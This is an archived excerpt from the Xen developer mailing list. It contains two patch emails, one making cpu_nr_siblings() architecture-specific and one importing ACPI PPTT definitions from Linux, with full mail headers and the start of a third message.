X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|OS9P286MB6790:EE_
X-MS-Office365-Filtering-Correlation-Id: d86b5ac2-1559-495e-c332-08dee67c298b
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|10070799003|7416014|376014|10067099003|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	J2LHrutS6Bx2S7nJ6o/IoNQ7flo+j+JjPpMXrb72ht+fW83pahgzGngkfarcvkZwm5ilafvPKhIot4XqUdyA/cjTUp36YWS9UWryEnzsvkWwyx8arGmBwZbiWtpWjqf6nHbSB/HfbgX9wKi63s/InWupzqyNg1gajzRQBvc1IOCnVu/SK4/dQbr0a8ZdP2MH8vo3fJeEAbFkgaBqmf2YL+RXwauv2JG8yUrPJ1K7e60p6wTt8QPPSwYX7SmTbhUvsWySKN2gvaOfXsUXjRYW8HipEJOE9rZw6I4AEnjliNJiVos1uONUgMp3FWmDWS7zBaHSpRTEZJWWY1Hg6NowHhXXly3Q6DU0p7KYGhCmx1xmfs5mL6yHOtxnW1zNULti/syv63YNssoL8qgeTg93fzmiHHJJMz7tMVtNGtvhnqZX0zN8l4Nfwa07SO3mKRBER41nxfhDXNKhO26JOBrGHl3+S/39Fn+mJeH/MM0IbXJ3xS8ucfMrRSNESt/iHzN1doKIrNpxMNIFrYcOY2B58boElR6pzWWdR9Lu1QT8Vksm/6E4mMtt0DD/2trVRpMz+sT1aAmJlYqb4jQyCz0wefEZ9WTksHQWUzEziEzPLfwbhIZeHJ6AfyawnUo4DyBWX5GyKDEFTxxXGiovb/HoCaKR0t5YisBSNpxkWmYzSzk=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(10070799003)(7416014)(376014)(10067099003)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS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45?=
 =?us-ascii?Q?eVudlPUZsNmA/QrV6iqn8BeklniY552NkP79AvW0HdSrTbZcvLZgYl1xZaMt?=
 =?us-ascii?Q?LWFCauCrPqV1c68YboDyQW+ptpgmz8il+gn84HTv7ei5VDl0LVr8CnliDRlZ?=
X-MS-Exchange-AntiSpam-MessageData-1: 6dAAD4uF5qlB2Q==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: d86b5ac2-1559-495e-c332-08dee67c298b
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 20 Jul 2026 16:30:08.1303
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: DpfTfm6nZJvMZsypvAYO+gOipArVHrZ3c5zwdZW5G1Or1N/UKfa3rIYBzmxSFBgIfL5jcvBzy5AmJtGAldgyZg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS9P286MB6790
X-purgate-ID: tlsNG-d62444/1784565011-BF46D757-60D9F055/0/0
X-purgate-type: clean
X-purgate-size: 3372

Make cpu_nr_siblings() an architecture-specific function.
This patch provides the implementation for x86 and a common
version for Device Tree-based architectures.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
 xen/arch/x86/include/asm/processor.h |  1 +
 xen/common/sched/credit2.c           | 25 +++----------------------
 xen/include/xen/cpu-topology.h       |  5 +++++
 3 files changed, 9 insertions(+), 22 deletions(-)

diff --git a/xen/arch/x86/include/asm/processor.h b/xen/arch/x86/include/asm/processor.h
index 8ca6799a81..9758060129 100644
--- a/xen/arch/x86/include/asm/processor.h
+++ b/xen/arch/x86/include/asm/processor.h
@@ -106,6 +106,7 @@ extern void intel_init_arat(void);
 
 #define cpu_to_core(_cpu)   (cpu_data[_cpu].cpu_core_id)
 #define cpu_to_socket(_cpu) (cpu_data[_cpu].phys_proc_id)
+#define cpu_nr_siblings(_cpu) (cpu_data[_cpu].x86_num_siblings)
 
 unsigned int apicid_to_socket(unsigned int apicid);
 
diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
index b4a3b59601..6c645f0e21 100644
--- a/xen/common/sched/credit2.c
+++ b/xen/common/sched/credit2.c
@@ -29,25 +29,6 @@
 /* #define d2printk printk */
 #define d2printk(x...)
 
-/*
- * TODO: Abstract this properly, and figure out what Credit2 wants to do with
- *       the fact that x86_num_siblings doesn't even have the same meaning
- *       between x86 vendors.
- */
-static unsigned int cpu_nr_siblings(unsigned int cpu)
-{
-#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
-    if ( cpu_topology )
-        return cpu_topology[cpu].num_siblings;
-#endif
-
-#ifdef CONFIG_X86
-    return cpu_data[cpu].x86_num_siblings;
-#else
-    return 1;
-#endif
-}
-
 /*
  * Credit2 tracing events ("only" 512 available!). Check
  * include/public/trace.h for more details.
@@ -885,9 +866,9 @@ cpu_runqueue_match(const struct csched2_runqueue_data *rqd, unsigned int cpu)
 
 /*
  * Additional checks, to avoid separating siblings in different runqueues.
- * This deals with both Intel's HTs and AMD's CUs. An arch that does not have
- * any similar concept will just have cpu_nr_siblings() always return 1, and
- * setup the cpu_sibling_mask-s acordingly (as currently does ARM), and things
+ * This deals with Intel's HTs, AMD's CUs and ARM's SMT. An arch that
+ * does not have similar concept will just have cpu_nr_siblings() always
+ * return 1, and setup the cpu_sibling_mask-s accordingly, and things
  * will just work as well.
  */
 static bool
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
index 52ee93d4d0..fccc9cd316 100644
--- a/xen/include/xen/cpu-topology.h
+++ b/xen/include/xen/cpu-topology.h
@@ -44,6 +44,7 @@ void init_cpu_topology(void);
 
 #define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
 #define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
+#define cpu_nr_siblings(cpu) (cpu_topology ? cpu_topology[cpu].num_siblings : 1)
 
 #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
@@ -57,6 +58,10 @@ static inline void init_cpu_topology(void) {}
 #define cpu_to_socket(cpu) (0)
 #endif
 
+#ifndef cpu_nr_siblings
+#define cpu_nr_siblings(cpu) (1)
+#endif
+
 #endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 #endif /* XEN_CPU_TOPOLOGY_H */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:30:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:30:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367305.1617131 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqsi-0007jg-0o; Mon, 20 Jul 2026 16:30:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367305.1617131; Mon, 20 Jul 2026 16:30:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqsh-0007jY-Tc; Mon, 20 Jul 2026 16:30:15 +0000
Received: by outflank-mailman (input) for mailman id 1367305;
 Mon, 20 Jul 2026 16:30:14 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wlqsg-0007To-OS
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:30:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqsg-007jXT-53
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:30:14 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e4d09-e002-0a2a0a5209dd-0a2a450187c2-26
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:30:13 +0200
Received: from [52.101.229.80]
 (helo=TY3P286CU002.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e4d0f-5984-0a2a45010019-3465e5506d27-5
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:30:12 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS9P286MB6790.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:419::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Mon, 20 Jul
 2026 16:30:10 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.017; Mon, 20 Jul 2026
 16:30:10 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=lrfEpqbuGEVcbeby4HWHCuVJB2grqcNK0hm+WtB6P9z5yON1QRBo5wdiVQe9VpbFhmYDxE2PuTryE7V9JRBSjSf3r+N5WVHComU3EdJuP09NGgpgMDUpG7vLgTVvbI05Kmj8VF7QlxexezY9DovT8KuCGTc0eAdOU3b6BYvT5a/xUVC34SGWu7oUeqF3v5C5eL3h0TsKPS19UJ0SSdbPGD0nq1+xenMaQsxUDfM9GU5hIaYmUXflEiiKilOvT0Z75vd8FwzpIKk4wEQfhX2NDdWgfMghuG/hHQMHUl4mTgQPkyWmQQneAS0n0bPbkLjzA3T6X47bFNrapBRi6hf/Jg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Te1S5GfewIHDdtuLoq1qpch20NJ4D433OHueLW4276E=;
 b=UeA4S25f6VSzSnbxjNuO4eJGXyFcDm3LEPVNzKfr5zqffTfXjd7Nwf6RYq7ngEw5aWkYTq9UKNYBXxhuE6fyrkfnZDfq8XC5vYsmOCf9yeiQQqWQkCVXeIKA8C0Rt2MVA22AKOGiJL6ynmNh9t8cwxKRvo8yfV+Dqn/+JIBXQ0p5TjoeKmT7WtiW3d5MJVIRROVVvqxA5DjKyFHPMgX+GkUeI9cYrz7dee0S1PMbrrWemKhiAejwyVhPwMSYfX263GnBp+kaCHjHCVUykqu2CP+dnEYwi+m/TwxAvVDc2XN/NZ0TxMnYVHxvGthq12fLhpZVizeoWm/7q7vnvYe7+A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Te1S5GfewIHDdtuLoq1qpch20NJ4D433OHueLW4276E=;
 b=Jyt7ma+DIhevnQDB9TRAvhuhJezdQTvMD4Tweg+pFBrybjPAAbf61opgLjF0RgSTK0rozLQOS6u8tfS7VhKwku1Vc+e2fKKnrBa0VQlHoOsNdCLuhNQdA1Y17o+L5c6J1gDCRVdgDJ7WBKJpK8WN3/uF/OI8vuC4lfHxy/+Ku1s=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v7 4/5] xen/acpi: Import PPTT definitions from Linux
Date: Tue, 21 Jul 2026 01:28:18 +0900
Message-ID: <20260720162819.308326-5-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260720162819.308326-1-taka@valinux.co.jp>
References: <20260720162819.308326-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY6P301CA0032.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:3ba::12) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|OS9P286MB6790:EE_
X-MS-Office365-Filtering-Correlation-Id: e2ac8116-919e-4b9a-e783-08dee67c2af5
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|10070799003|376014|3023799007|6133799003|10067099003|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	5zE6mXXwA4Q53wu7xZ6WqHsWbkc8/jz8PfP2tZejgyLY+LoKJPUFhACbVPiKJqYiY9WigKtfrB2NNtZ8Vbc09lK/93ssGJqrtwWJ32z64oCnimCWjHailNNApLgrKV8ELGEgqb3W4WvFZl8jHn0GwEr3qDDOlCSzVff52x3pNNVfl93xV+ujEPcXNsavU/NcWp8Fsbb3dq6EnyE0i+MRRD9Xw3d31W683fewtDSL6ddCQV/ZJAS4/dpIGJ74wrWWgKhYXyouxLYJDM3Edg7PyHyFO4i34QPL6WLY3g96CyXgNLe9/7uV1j9IJilZIf4CONwDB+8GwA2+wQCodoF4XCq0csvs4spd/X2y508A2BvEkFjEKYcp4Z7YSgAeB18VsO12kM5MEUm0Yl1yGyu0CATIABJ1sV87ep4Hzvbk7QXbyMqJTkb9Oxtipt4LhwEwGMkj7N7iFp7n/U6tQughOlwsrfbKLen1kXXlEadmjuH71uSSE50VbvWTNauSVgXLmnYzRUUAx6zr6gjU/vy10IpvGUC0wGRjFfD+oPwpfPrtnMX+FwDlexDx/18Xr2+KHTByOVWKewvLoOuG6N9MJ55g3t3cRIUGxG9d0LdZ2jQd5v32ZjXo3eBHAtUDKpGcKoY4C2MUf++7Vw9z6VwY+A6epFwUeUhw6lnjYZYkrrg=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(10070799003)(376014)(3023799007)(6133799003)(10067099003)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?XVIcvudajV7egtiTkGuz/A9LoAvT8Y9K18bgGffVKueTa/nHWz491+y7/bxg?=
 =?us-ascii?Q?ubPVVPX47ABokw8bCbYQxfTGkA/BN+Yuwl3aBXFHWflR02t2MPFNXSPt6I9q?=
 =?us-ascii?Q?ukOhTHjHlIs4JUGTLI4JSvxASj0MuGy975NAP6K12c0b34k121fk3JUPS/6W?=
 =?us-ascii?Q?wjKQCXcXW2XkHb2bAD4ArUWNRJe6XTrQuyIMguOfzRa7Wzcq+EorlQj4raxj?=
 =?us-ascii?Q?2ue4MgraYT+Q1N/IHCJbPRxQAWxnm74ae0cUK/2pq9/rEgOd0x/4cmmy7Qy9?=
 =?us-ascii?Q?Grfg+YNNdR9xA+iI8+qB7Xf4hwEqxyS6lr+u9w/0nmlU6IyiMQQq8Vzm/WBa?=
 =?us-ascii?Q?RbOcRCAEqin6clJ5g94uqn0Aa3qZkEpvzzS3YruJV3aIoVNYm3lRYM4RI906?=
 =?us-ascii?Q?hh5u0XjSwKCMRitv2FXA1eIRE0zbWN57c98jH7K36bOCwU864OETxyEXbGVU?=
 =?us-ascii?Q?cxFNqpzIDZ/mhzrfPdkBic2vpnQFRWOkjm2JAfTlg7Ixbft1+HejbegM1TDC?=
 =?us-ascii?Q?kbr9Z4sbPc9RW32sayLSKD7VUqGtI71iKgaz1QnrouMUSm4J9SMj0iRgTraI?=
 =?us-ascii?Q?YmiOFjJvON+uULbqxOHs9HSTAl98i5VEmORmi0RIfAbxwcd18T1Cj6QFdl8H?=
 =?us-ascii?Q?BXHrRWPdxsT2dJsxPqluoEpsIoawCKhshRaYVR9mnF4zgVnPegLjPhqhn9Og?=
 =?us-ascii?Q?jn7i4vjObahtw1i8TVhPvffm9eZlJjp5IHKn27N8MLnXc0AouYNa+sEr1wCm?=
 =?us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PHz+Of1Dxg9F25HtOjfiWVz0PDoBkE0h2SxPRCkXjRmIy43xKe?=
 =?us-ascii?Q?PQin2pUVQ/ISLjaSGR4ugJ87qOh4KTn4kxwWTQ2yhwd7SShDtHkasqp3SOKm?=
 =?us-ascii?Q?woATt+kGrQkX0nR+ScglDQp/6re04wntNOOTbclhNLdJ2j3nwGZ2wO19nAl3?=
X-MS-Exchange-AntiSpam-MessageData-1: Z1VCIUbBoDhi4w==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: e2ac8116-919e-4b9a-e783-08dee67c2af5
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 20 Jul 2026 16:30:10.5059
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 61sunm5PSwaN/IipvRInU5un9UDrH8nItwNfaAiQiomrWcJ7XPMrDHL0b7wxiRbt8CM/zUIx5e8BhPS2zGGPpA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS9P286MB6790
X-purgate-ID: tlsNG-d62444/1784565013-1F66C757-A1437612/0/0
X-purgate-type: clean
X-purgate-size: 5333

Import the Processor Properties Topology Table (PPTT) definitions
from the Linux kernel header (include/acpi/actbl2.h) into Xen.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
Origin: git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git b8355bcac253
Origin: git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git e62f8227851d
Origin: git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git 091c4af3562d
Acked-by: Jan Beulich <jbeulich@suse.com>
---
 xen/include/acpi/actbl2.h | 113 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 113 insertions(+)

diff --git a/xen/include/acpi/actbl2.h b/xen/include/acpi/actbl2.h
index ee96e990d6..4398d98e00 100644
--- a/xen/include/acpi/actbl2.h
+++ b/xen/include/acpi/actbl2.h
@@ -72,6 +72,7 @@
 #define ACPI_SIG_IVRS           "IVRS"	/* I/O Virtualization Reporting Structure */
 #define ACPI_SIG_MCFG           "MCFG"	/* PCI Memory Mapped Configuration table */
 #define ACPI_SIG_MCHI           "MCHI"	/* Management Controller Host Interface table */
+#define ACPI_SIG_PPTT           "PPTT"	/* Processor Properties Topology Table */
 #define ACPI_SIG_SLIC           "SLIC"	/* Software Licensing Description Table */
 #define ACPI_SIG_SPCR           "SPCR"	/* Serial Port Console Redirection table */
 #define ACPI_SIG_SPMI           "SPMI"	/* Server Platform Management Interface table */
@@ -937,6 +938,118 @@ struct acpi_table_mchi {
 	u8 pci_function;
 };
 
+/*******************************************************************************
+ *
+ * PPTT - Processor Properties Topology Table (ACPI 6.2)
+ *        Version 1
+ *
+ ******************************************************************************/
+
+struct acpi_table_pptt {
+	struct acpi_table_header header;	/* Common ACPI table header */
+};
+
+/* Values for Type field above */
+
+enum acpi_pptt_type {
+	ACPI_PPTT_TYPE_PROCESSOR = 0,
+	ACPI_PPTT_TYPE_CACHE = 1,
+	ACPI_PPTT_TYPE_ID = 2,
+	ACPI_PPTT_TYPE_RESERVED = 3
+};
+
+/* 0: Processor Hierarchy Node Structure */
+
+struct acpi_pptt_processor {
+	struct acpi_subtable_header header;
+	u16 reserved;
+	u32 flags;
+	u32 parent;
+	u32 acpi_processor_id;
+	u32 number_of_priv_resources;
+};
+
+/* Flags */
+
+#define ACPI_PPTT_PHYSICAL_PACKAGE          (1)
+#define ACPI_PPTT_ACPI_PROCESSOR_ID_VALID   (1<<1)
+#define ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD  (1<<2)	/* ACPI 6.3 */
+#define ACPI_PPTT_ACPI_LEAF_NODE            (1<<3)	/* ACPI 6.3 */
+#define ACPI_PPTT_ACPI_IDENTICAL            (1<<4)	/* ACPI 6.3 */
+
+/* 1: Cache Type Structure */
+
+struct acpi_pptt_cache {
+	struct acpi_subtable_header header;
+	u16 reserved;
+	u32 flags;
+	u32 next_level_of_cache;
+	u32 size;
+	u32 number_of_sets;
+	u8 associativity;
+	u8 attributes;
+	u16 line_size;
+};
+
+/* 1: Cache Type Structure for PPTT version 3 */
+
+struct acpi_pptt_cache_v1 {
+	struct acpi_subtable_header header;
+	u16 reserved;
+	u32 flags;
+	u32 next_level_of_cache;
+	u32 size;
+	u32 number_of_sets;
+	u8 associativity;
+	u8 attributes;
+	u16 line_size;
+	u32 cache_id;
+};
+
+/* Flags */
+
+#define ACPI_PPTT_SIZE_PROPERTY_VALID       (1)	/* Physical property valid */
+#define ACPI_PPTT_NUMBER_OF_SETS_VALID      (1<<1)	/* Number of sets valid */
+#define ACPI_PPTT_ASSOCIATIVITY_VALID       (1<<2)	/* Associativity valid */
+#define ACPI_PPTT_ALLOCATION_TYPE_VALID     (1<<3)	/* Allocation type valid */
+#define ACPI_PPTT_CACHE_TYPE_VALID          (1<<4)	/* Cache type valid */
+#define ACPI_PPTT_WRITE_POLICY_VALID        (1<<5)	/* Write policy valid */
+#define ACPI_PPTT_LINE_SIZE_VALID           (1<<6)	/* Line size valid */
+#define ACPI_PPTT_CACHE_ID_VALID            (1<<7)	/* Cache ID valid */
+
+/* Masks for Attributes */
+
+#define ACPI_PPTT_MASK_ALLOCATION_TYPE      (0x03)	/* Allocation type */
+#define ACPI_PPTT_MASK_CACHE_TYPE           (0x0C)	/* Cache type */
+#define ACPI_PPTT_MASK_WRITE_POLICY         (0x10)	/* Write policy */
+
+/* Attributes describing cache */
+#define ACPI_PPTT_CACHE_READ_ALLOCATE       (0x0)	/* Cache line is allocated on read */
+#define ACPI_PPTT_CACHE_WRITE_ALLOCATE      (0x01)	/* Cache line is allocated on write */
+#define ACPI_PPTT_CACHE_RW_ALLOCATE         (0x02)	/* Cache line is allocated on read and write */
+#define ACPI_PPTT_CACHE_RW_ALLOCATE_ALT     (0x03)	/* Alternate representation of above */
+
+#define ACPI_PPTT_CACHE_TYPE_DATA           (0x0)	/* Data cache */
+#define ACPI_PPTT_CACHE_TYPE_INSTR          (1<<2)	/* Instruction cache */
+#define ACPI_PPTT_CACHE_TYPE_UNIFIED        (2<<2)	/* Unified I & D cache */
+#define ACPI_PPTT_CACHE_TYPE_UNIFIED_ALT    (3<<2)	/* Alternate representation of above */
+
+#define ACPI_PPTT_CACHE_POLICY_WB           (0x0)	/* Cache is write back */
+#define ACPI_PPTT_CACHE_POLICY_WT           (1<<4)	/* Cache is write through */
+
+/* 2: ID Structure */
+
+struct acpi_pptt_id {
+	struct acpi_subtable_header header;
+	u16 reserved;
+	u32 vendor_id;
+	u64 level1_id;
+	u64 level2_id;
+	u16 major_rev;
+	u16 minor_rev;
+	u16 spin_rev;
+};
+
 /*******************************************************************************
  *
  * SLIC - Software Licensing Description Table
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:30:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:30:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367306.1617140 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqsj-0007yc-AT; Mon, 20 Jul 2026 16:30:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367306.1617140; Mon, 20 Jul 2026 16:30:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqsj-0007yN-78; Mon, 20 Jul 2026 16:30:17 +0000
Received: by outflank-mailman (input) for mailman id 1367306;
 Mon, 20 Jul 2026 16:30:16 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wlqsh-0007jH-Ru
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:30:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqsh-007jXT-8S
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:30:15 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e4d09-e002-0a2a0a5209dd-0a2a450187c2-28
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:30:15 +0200
Received: from [52.101.229.80]
 (helo=TY3P286CU002.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e4d0f-5984-0a2a45010019-3465e5506d27-6
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:30:14 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS9P286MB6790.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:419::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Mon, 20 Jul
 2026 16:30:12 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.017; Mon, 20 Jul 2026
 16:30:12 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
